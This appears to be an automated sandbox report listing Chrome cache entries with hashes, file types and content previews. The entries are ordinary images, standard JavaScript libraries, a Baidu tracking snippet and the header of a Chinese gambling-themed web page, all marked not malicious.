..~..?....`)4j<...Q.>..R..........3@.9?..p\|t..J^4:I.>..#...Q.i<..pO.x.:..

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 112 x 112, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3038
Entropy (8bit):	7.6764606825330475
Encrypted:	false
SSDEEP:	48:PANn2NbkJ3r0/D7A6TQpbTzixIwzxFalaQCi+EjTL7wCmaoIZCcArEC5emQK:A2pSEA6TGgpzxwl9b/LkCBscArEt5K
MD5:	F50F07A16C610CE020161ABCEEE80F00
SHA1:	E24B56E5EEF8CE966E74741797E9866365DF6746
SHA-256:	64003EDBFF1673118E3E12DCD63879D876A5B42B942DB3F0D205110518D78F0B
SHA-512:	B58EB7CB728B4FFBF18258B33ED2B976511CD9ADB6E28F2CECF9B2D9D3F982FE6EF2367C65B89A53CBF8C5D7EC666E3E81B166045EBA170A6544889EC0BE2772
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/img4.png
Preview:	.PNG........IHDR...p...p........K....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmpMM:InstanceID="xmp.iid:9F94BAD5C20A11EDACEBA4DD8F884E77" xmpMM:DocumentID="xmp.did:9F94BAD6C20A11EDACEBA4DD8F884E77"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9F94BAD3C20A11EDACEBA4DD8F884E77" stRef:documentID="xmp.did:9F94BAD4C20A11EDACEBA4DD8F884E77"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.f.....NIDATx..\ilTU.}.e.5@.H.....Ye...h...K0.1.@.W0$j..D0j..!j......(..;*.AA.E..f..-ma<_.Lz.f.7.$}C.INf....w...~

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 225 x 225, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	17415
Entropy (8bit):	7.920498761705319
Encrypted:	false
SSDEEP:	384:SPnG/Nqz5P21Hb/Z24PFtkkaquWOkXuM/D9jNyCKQVSo8pSNze:SPNlw7/Z24v3aqTmID9jN3KQVPnNi
MD5:	DECF76BCA45E2265B5B147F2F39830B4
SHA1:	764E5ED6B34C0A8ECC2DD2F42039C8E78D2FDCC4
SHA-256:	882ADB98093C33F97926802CCC88DEE3B22AFFB1AF056AE8B370A944F3C827C8
SHA-512:	7AC609B49D3BE37FB5336E5775BB254CE4D8BAAD30EBF8ED27F08D09697FC862FDC05245FEE580CF498CB23464FAECF120780D6388610998359E806CF0D9B40C
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715324241_REr34rRH.png
Preview:	.PNG........IHDR...............E-....pHYs...a...a..?.i....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2024-05-10T11:30:53+08:00" xmp:MetadataDate="2024-05-10T15:08:03+08:00" xmp:ModifyDate="2024-05-10T15:08:03+08:00" xmpMM:InstanceID="xmp.iid:916cb6ef-7aaf-c740-9ebf-a34e42d725a2" xmpMM:DocumentID="adobe:docid:photoshop:2c6ef908-d4f0-2e4f-bed5-89d921cfcb03" xmpMM:OriginalDocumentID="xmp.did:302a535b-8f9e-0b4e-8eb6-75b01f2667ae" photoshop:Color

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1000 x 300
Category:	downloaded
Size (bytes):	786077
Entropy (8bit):	7.9917996540453276
Encrypted:	true
SSDEEP:	12288:aOW04GAPH4YtyoMu5mPa4vs4yQMPIV4ZLrYtbC5WXlCVostoCVc4J:Crf4Ythaa4EjrGeJVo+M4J
MD5:	146E097DC6AC97692C6BA585B1880FD9
SHA1:	489CE49A513B069516081AB9FDCE52347D6A158E
SHA-256:	DC17B35522420BDEE29BA5D29F6F5D6117C4CE984A2917D8D8D2E9F528B08DFE
SHA-512:	741912528336191244D17D9FF5845B9B0C42B0BD5DBDA95FEAE961A24B058041CE211DC606CCC9055E100625B7CDC93D5F750F4E41465ABD223DF07EEC59695B
Malicious:	false
Reputation:	low
URL:	https://www.zhspay.com/zhuye/img/betway999.gif
Preview:	GIF89a..,......."3.33........Xl.......&.#'.".......wp_s...#fff....+JjH+TUf...m.(...UUU'..oH.kfT.',..q....j.D.Jn.mMUff"""....,U3F....NZ".....wff..u.....MfUUh+..r+fUf0DH.IS02E...DCD.n.0D+333.%$..o.&+...LL..B33....P.$.s......P.MD.(."w"3..D.%...@F.s),Pm..H.....&.pP.po.R.a....n.M23D.3D....""..8K.kr...3"".h..m..w."....."".......wwy.#.3.....D33...wwfR.EDD3...3".......33"efwDDUDUU..s3l.UDD!3.ug,....i..O...G....."......"..D3"...o..D""3...r.UfRD".......{D3.""3...D...ZdUUD 33U3"3..D.."3"....U.U33...3..U..U""UD3.....U..DD"...0O.3".8.."..D3.fUDU..D...+."w.0jD".xfwfADU3.wW?\|3;UD"fww...)hr.N1U".UDUf3"...U3..J.f""...3"3wUUU"....wX..D/Sg2UU3f33.q.S[w"....DU"...UU"...wDDDUD...U..4y,f"3..D..DU3......w3.......fCU........fwd..GU"3"D.D!6x@U.T.............3U..=..^Y"U....!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="ht

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (332), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	54554
Entropy (8bit):	5.169922249910929
Encrypted:	false
SSDEEP:	768:r4K+3kMOOpM5zJRanOn5rxq8PY5MuFkICZM:+3zOOpM5zDanOn5rxq8PY5MuFkICZM
MD5:	7D5B5CB861F1C4B931BC7858A8983F37
SHA1:	6DBDD21FD9D9F1EDFCF148F83DEF752F3CEB82E7
SHA-256:	524C8D1568C0A8073B027266A4352A29A99E6446C97D208B7AF7D338C01A1599
SHA-512:	B70F614CE0A1936317CD9E5E82FBBA1EC041C43A01F443CB169BFFAC27860989224926B9C363B65D505154EE24E42D2DDBEEC9E3C8BE6017A70D1CF8E318D2EB
Malicious:	false
Reputation:	low
URL:	https://www.hbyczyz.com/
Preview:	<!DOCTYPE html>.<html lang="zh-CN">.<head><script>var V_PATH="/";window.onerror=function(){ return true; };</script>. <meta charset="utf-8">. <meta http-equiv="X-UA-Compatible" content="IE=edge">. <meta name="viewport" content="width=device-width, initial-scale=1">. <title>yh533388..[..]...-IOS/Android/APP..</title>. <meta name="keywords" content="yh533388..">.<meta name="description" content="yh533388...hbyczyz.com...............,.........,.........,...................">.<meta name="csrf-param" content="_csrf-frontend">.<meta name="csrf-token" content="hXDsLaINSAu3Il7Uk0rdIqPAF-CdO1haqn-6FQ8zWDLfCrYZxTs4cY9TP7bfMJZ9x5Rvze4LARP_FNtZYHUtcw==">..<link href="/resources/assets/lib/style/swiper-bundle.min.css?v=0.574" rel="stylesheet">.<link href="/resources/assets/lib/style/animate.min.css?v=0.574" rel="stylesheet">.<link href="/resources/as

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3364), with no line terminators
Category:	dropped
Size (bytes):	3364
Entropy (8bit):	5.201199348564266
Encrypted:	false
SSDEEP:	48:0SGaVdBtj4xLOTObsi+gKVtSsIGEzwekTjhlVrBPgiXtDP1PAURMTXjz/:0mdtHisn/zcweQjbZBP/pdkTH/
MD5:	4130D47D789E740A73F02975B3A2399D
SHA1:	E83292BC1C689AF4589FEB3B889A96CD7BCAB41C
SHA-256:	6989FBCFE0FACB2DC67E9E772B5FE8374B3D6044B4CFCF3EC8411A583A4B2E32
SHA-512:	A143B36E2BCE65B0D1DA38EF52338134D9D8B8D635E65E26185572C8C952B9C62ACC967C43E263F1EDC17C353ED5D097D8272F11254C53A548B30FCEB78BA1E3
Malicious:	false
Reputation:	low
Preview:	!function(a,b){"function"==typeof define&&define.amd?define(b):"object"==typeof exports?module.exports=b(require,exports,module):a.CountUp=b()}(this,function(){var d=function(a,b,c,d,e,f){for(var g=0,h=["webkit","moz","ms","o"],i=0;i<h.length&&!window.requestAnimationFrame;++i)window.requestAnimationFrame=window[h[i]+"RequestAnimationFrame"],window.cancelAnimationFrame=window[h[i]+"CancelAnimationFrame"]\|\|window[h[i]+"CancelRequestAnimationFrame"];window.requestAnimationFrame\|\|(window.requestAnimationFrame=function(a){var c=(new Date).getTime(),d=Math.max(0,16-(c-g)),e=window.setTimeout(function(){a(c+d)},d);return g=c+d,e}),window.cancelAnimationFrame\|\|(window.cancelAnimationFrame=function(a){clearTimeout(a)}),this.options={useEasing:!0,useGrouping:!0,separator:",",decimal:"."};for(var j in f)f.hasOwnProperty(j)&&(this.options[j]=f[j]);""===this.options.separator&&(this.options.useGrouping=!1),this.options.prefix\|\|(this.options.prefix=""),this.options.suffix\|\|(this.options.suffix=""),

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, progressive, precision 8, 500x501, components 3
Category:	dropped
Size (bytes):	27690
Entropy (8bit):	7.973487573555612
Encrypted:	false
SSDEEP:	768:sSdgKAMc7qVk7AyP3L+EfpsciLdVnaU7I:sZKAMY7/3LTQLLnaUE
MD5:	6C052F48D9EE0AD9E69AF83626EE0F79
SHA1:	F1C8ACD90B522DAE313E4ED53DB61B35918872D5
SHA-256:	AD08BAE2BE520B52E2227BA9AAF49A15A44DE89913FA22B57C802B4DEFA750D8
SHA-512:	F7B0ABC8C6AD045F406351DEEB1A3AE33C36794B5E6FE6AE6793319ACA7799426FCEE5D3C95F5E4CC77B11C35739BB14947C8BE70BE633435215B121129514F1
Malicious:	false
Reputation:	low
Preview:	......JFIF.....x.x..................................................#....#)" ")1,,1>;>QQm............................................#....#)" ")1,,1>;>QQm..........."..........6....................................................................I. ..B.....mr.r@.....P.E...dj.P.."......7..l...!.2.@P...u.....L....Pe.......#O.Z....[....e.D..6D .....Ll...]k#'.....0...\..T...r-..@.'......\y1#d.f../_.t6.hP..k,. I`P..+...-.....x..C.d...'C.A.............uuo...5M8.]?'..7TU...[.\|M...."........\|z..B.gk.r.`.i.bo.....W:.l.5....cF.i].T......c..t...+.lJX......C..f.'.+...+...\.X.............\|..q..`k..R(m...".T\...y&...;..../....xl...}&.^OF}.........)...e.N..FfO;.......u{].^....\...=.^.!..L..WU....i..h....g....'...V(.%..]>...t... .'.k.Im.u..L.Ez.I....Q6...e&r...vz.xN]..Q..p.8Fa.....tX.%..ty[.3.<....X..7....T.7.w.j..3e.k...xo0.`.......V(..`...OW.ly..M..P.]u.Se.../...%.Q....[o#..^..uP&.U./Y!..h.m../..R<.].>...G..9K3.{M..y.=v.eT.0......N8).q]Tf...)=i....O.....@.......

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	22393
Entropy (8bit):	7.955911565693486
Encrypted:	false
SSDEEP:	384:tdUekvpG6KNWhvhoHtiN9d/RfOgWDc26qTHST9nhOyz7mbG321156Y:tdUekLUmv68Z/R/WGwyxnhVuW2D56Y
MD5:	4C1F20EA93DDB93240F220D82A7B9768
SHA1:	28E692D13352730D44D8E92A25F5A564C76863E8
SHA-256:	53E026AD476270D81D193829DA22341F3038CC6CB501674EA63EBA0E5DD8C874
SHA-512:	FE8D5B6679964DA62A6189213C025357EF7D5FC10E485147DC8E9F37CAF93CB43EA8D044256F1DD19BFFFE60E8DC4F101A10E171086D758932BBD9EE646B2713
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:E6C9B3CCC2E211ED8997C447A3920789" xmpMM:InstanceID="xmp.iid:E6C9B3CBC2E211ED8997C447A3920789" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A1E96EB1BA8611ED9E18B1F319AD2715" stRef:documentID="xmp.did:A1E96EB2BA8611ED9E18B1F319AD2715"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..............................................................................................................................

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	95520
Entropy (8bit):	7.613767446531355
Encrypted:	false
SSDEEP:	1536:G8PawH2+jcMSFnbHiCBG84P4L70vhjGvB8lIckoKyn0IvRVbD92UL37wfK1obc+B:G8PRW5bHlG84igvhj4Slyan0InkUL376
MD5:	98C3F25B02CB5C3712F25156698BC213
SHA1:	C1D8EE6946423AD094C5E1F02E811A2C26A9855D
SHA-256:	C7FAB806CC810BB004148BD2CE55180AF49B55976879AFD66D9AA99C43A37326
SHA-512:	F4A4CA4C57794A1A958607161BBB8C61416FBD7AC0FD9AD43AB971FF42ED253A5968007D66915BC5A210D465103AE5E16B028EB1D0C8BACFA272C6536E5DCA54
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......<......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:afa8a9e6-9716-4248-82b7-b3c757f3a879" xmpMM:DocumentID="xmp.did:63BB6235CA0811EDA583F125659C6B44" xmpMM:InstanceID="xmp.iid:63BB6234CA0811EDA583F125659C6B44" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5d380805-1f21-4355-953f-fb7accca78e0" stRef:documentID="adobe:docid:photoshop:bfa30e39-e5b9-6e4d-bbd5-a8407fc31f5b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d................................

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 750 x 300, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	85404
Entropy (8bit):	7.984105783418378
Encrypted:	false
SSDEEP:	1536:I8JKQSKaqu1ajZ/37i61n9R4JvMfVfgpv/SqUZ/qIxPD+yqMcDdn:17aRUjZ/3bniMdfnJZ/Niy4DN
MD5:	469759B134586E89B4B93E8C6EA3A74D
SHA1:	15C51972E070CE8AAAAED250FA57FAF8EBCABB66
SHA-256:	0BBBA20DAE1BA0122AC8FC1DF0F71717E7A82562F44EF35813ED546F03107AF1
SHA-512:	8DDB60934379BD4AD2B58BA012484C44861C2D00779C25C681C32C228A0F6D10C7C04DA2139EF1CFD09918569B64D0183FA664A69941681BD941D0039DD7FE42
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/07/image_1680859659_Or5EQBve.png
Preview:	.PNG........IHDR.......,.......6.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A7F4B5CBD52711ED8862F7CEF1AD2387" xmpMM:InstanceID="xmp.iid:A7F4B5CAD52711ED8862F7CEF1AD2387" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D66AD734C9F311EDBDEBD2F18BBC41FE" stRef:documentID="xmp.did:D66AD735C9F311EDBDEBD2F18BBC41FE"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>D. ...J.IDATx....eUy..Jg...AAE."*....Qc....[l.%.Dc.%.hb4.b..D..+..E.....`..a.....;....>..;....y.s..e..^..erjjj.

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 112 x 112, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1926
Entropy (8bit):	7.286471199308234
Encrypted:	false
SSDEEP:	48:PANn2NQJ3wmkjPGbxdRU+sIJPOhhBQx6Jg:A2JmkrGbbBJP6BQ8i
MD5:	63D8E47A86FDB48A43531A79745BE42D
SHA1:	FD9EBB19006FE9B1C8882057A9E36D82A6683C57
SHA-256:	69E4DDFEE7B8967F94DC521A64C101A308038C0E833C57C850599E84DFC458E9
SHA-512:	27EC8DB8C42E0C913C1CB90B6A8F4315C542590E52295589DA1F0C5E14136168E80A2191D4606DA1E913DE34092DB94D424C6F60331CAAB14872EFF8D6E280E1
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/img1.png
Preview:	.PNG........IHDR...p...p........K....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmpMM:InstanceID="xmp.iid:6F955165C20A11EDB95297C111167D4B" xmpMM:DocumentID="xmp.did:6F955166C20A11EDB95297C111167D4B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6F955163C20A11EDB95297C111167D4B" stRef:documentID="xmp.did:6F955164C20A11EDB95297C111167D4B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...&....IDATx..ohUe......P........H..o.0p.RDB.F/..,.P.A&..ZJD.(....@.B.2.7..D.PG..Q.6.l..?.ox.......{?..r..{v..

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32056)
Category:	downloaded
Size (bytes):	93507
Entropy (8bit):	5.308880962621554
Encrypted:	false
SSDEEP:	1536:p4TCgi8RzmZFX38J+L0kJQsYb+5k/QRZdC/RtfDwnv+p0WzH/IoSE7qAe3GZnuUI:p4AkTtU2p0WPSIooLstfam
MD5:	BCEF53B768102FD4CE28924209E010B8
SHA1:	6F8831F4A3CD4006B0F245D20005D3AF8C0BB9CD
SHA-256:	9F5C9D0391535A6FEA6ADA5E2D8367ED46282670EF8096E5F561F2C24B33D29B
SHA-512:	D4A4389A081D4DE1A25538774973E6DE2341EE1288D27490DA6335F388E3B9AA876CA11DB36DC8F8A4978D228657FD22BD9DE5E45276026EE5EAFEDC9BE8A41B
Malicious:	false
Reputation:	low
URL:	https://www.hbyczyz.com/resources/assets/lib/js/jquery-1.10.1.min.js?v=0.574
Preview:	(function(e,t){var n,r,i=typeof t,o=e.location,a=e.document,s=a.documentElement,l=e.jQuery,u=e.$,c={},p=[],f="1.10.1",d=p.concat,h=p.push,g=p.slice,m=p.indexOf,y=c.toString,v=c.hasOwnProperty,b=f.trim,x=function(e,t){return new x.fn.init(e,t,r)},w=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,T=/\S+/g,C=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,N=/^(?:\s(<[\w\W]+>)[^>]\|#([\w-]))$/,k=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,E=/^[\],:{}\s]$/,S=/(?:^\|:\|,)(?:\s\[)+/g,A=/\\(?:["\\\/bfnrt]\|u[\da-fA-F]{4})/g,j=/"[^"\\\r\n]"\|true\|false\|null\|-?(?:\d+\.\|)\d+(?:[eE][+-]?\d+\|)/g,D=/^-ms-/,L=/-([\da-z])/gi,H=function(e,t){return t.toUpperCase()},q=function(e){(a.addEventListener\|\|"load"===e.type\|\|"complete"===a.readyState)&&(_(),x.ready())},_=function(){a.addEventListener?(a.removeEventListener("DOMContentLoaded",q,!1),e.removeEventListener("load",q,!1)):(a.detachEvent("onreadystatechange",q),e.detachEvent("onload",q))};x.fn=x.prototype={jquery:f,constructor:x,init:function(e,n,r){var i,o;if(!e)return this;if(

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (308), with no line terminators
Category:	dropped
Size (bytes):	308
Entropy (8bit):	5.417482737389702
Encrypted:	false
SSDEEP:	6:qQQfwvP/kGTMKxvasmzGIlCP70Jfium3cqOd1zlCiKzrJXqOXMMntwsvfn:cfwvP8GAksCP70Qum3+15CiKn91Ltbfn
MD5:	F9FC52AB67F035B8BAF5D558714CC94D
SHA1:	37062A6FB1EF410D496137D44275738AE743C747
SHA-256:	C31F2003F1C93AC1E34B09F376D97A65DA6E110BF451CF1E0E50A7946C5E7212
SHA-512:	EBB0415852FBB5B964094E2E55A28B90F701DFF1977C8B98C6F24D65D09067DC0C417D01492CA28A4BE6747816D7C0BFAC87B73A33725AEE047A5D2F7AB83182
Malicious:	false
Reputation:	low
Preview:	!function(){var e=/([http\|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi,r=window.location.href,t=document.referrer;if(!e.test(r)){var o="https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif";t?(o+="?r="+encodeURIComponent(document.referrer),r&&(o+="&l="+r)):r&&(o+="?l="+r);var i=new Image;i.src=o}}(window);

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=1, orientation=upper-left], baseline, precision 8, 1090x141, components 3
Category:	dropped
Size (bytes):	63943
Entropy (8bit):	7.777071698436248
Encrypted:	false
SSDEEP:	1536:EaBMCYvbTp3cWi1KF2V5pu3458P2BMZ1+HrdlPqLEnZCinu52SssTQIE8x:MCGbTMKFq5pkT+KZ1+H7PqLEnZCigNpN
MD5:	BABA23B989F46D56BF7BCCBCB684F8A9
SHA1:	EFBA0DA806C3E339335D1B5716AF81DF13DA42AA
SHA-256:	D94177E2F5BB8337E610EB21F1A78380179D5D5E7703D85AE9F15E45F77D46FD
SHA-512:	97DC1526C9F751E7EE38E80F17F623E4A50B779AC21759BC5433EDBBB6B87C7ABD7C81F1873497A86F5AF77572A9E8358F69CE096CA6DDE300C55E66FF70F604
Malicious:	false
Reputation:	low
Preview:	......JFIF.....x.x....."Exif..MM..........................C....................................................................C.........................................................................B.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....z...U..g.kRH......z.....?..U..U{...R..Z.Y..7..y4...6U..PUJ....q&...W.W..q'...%...R.........7o...T....Q..n7\H..$k.%Q...k.~...%u.h..:...c.w.\w.3/.cZ..g.O.....M?...e.........6.....y..........]..<2~.]..UY4x.....O.?.....y.O/.-.O.....Z.._...uk6..K.V..s.3...v....2.C...._.N.....6.......-.kob.y51..s.......K$v..>.......5W..j..q

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 95, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5166
Entropy (8bit):	7.852877830397464
Encrypted:	false
SSDEEP:	96:b7wDNozAAEk6gFv4D//r150XN1snKVxQPWklyoKxGb/XqowjKc4NIbMJd:b0DaE9gls71LKV6PWDoKxGzVBc4NIon
MD5:	0F5B94AC927225ADCD9E71890484D2A1
SHA1:	1F91604D08DD965D5276EB994125318ED862C622
SHA-256:	FEB4D0C57E99B4B21D113BB21D16191CC85E4EB618486F83F4484699BD985441
SHA-512:	ECC7949C8B20FEBD38400F2AFDEDD8661F5C6CF29A4AB5B1980C21FF7A842A50C81FB97DA338A50E81CD83403CEC92893E48348850E0797231E638682A580E11
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/p9.png
Preview:	.PNG........IHDR......._......Q0.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:C80AE63ECA0E11ED85F8CD6376869EC6" xmpMM:InstanceID="xmp.iid:C80AE63DCA0E11ED85F8CD6376869EC6" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C555C94BC22F11ED9B2D888A80B31E49" stRef:documentID="xmp.did:C555C94CC22F11ED9B2D888A80B31E49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>!.......IDATx..].....-.=....".G..T.. ..n ....(h.. ......1.!j"I .....D....!......AQ..a..{...5M...f...{.y.....]..R..W

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1092
Entropy (8bit):	4.985282727165163
Encrypted:	false
SSDEEP:	24:14XvEKFgqLTovusGGEFE7ohwTJ8dZcXQeMrWyueUjtD1uw2c:pK/LTMmrF0f9XjpUwP
MD5:	E86DC4C82DC215FA4BE58F32AAD23570
SHA1:	04FD54436819B196E1FDC2CE285821C46908CA04
SHA-256:	4CC26722EF4AC73A83464B334D887C4DBF9E18CD20997F820A41BE7679C74748
SHA-512:	3C5403E5F76880A6E24B53E26A01544B6FD5C2FC7E34B2E16274B8E367E74DF37C3472B9FC1F29671FDC3465FCE7A5BF456E6273ADC8DD1B4A6A29FA8D3D91E8
Malicious:	false
Reputation:	low
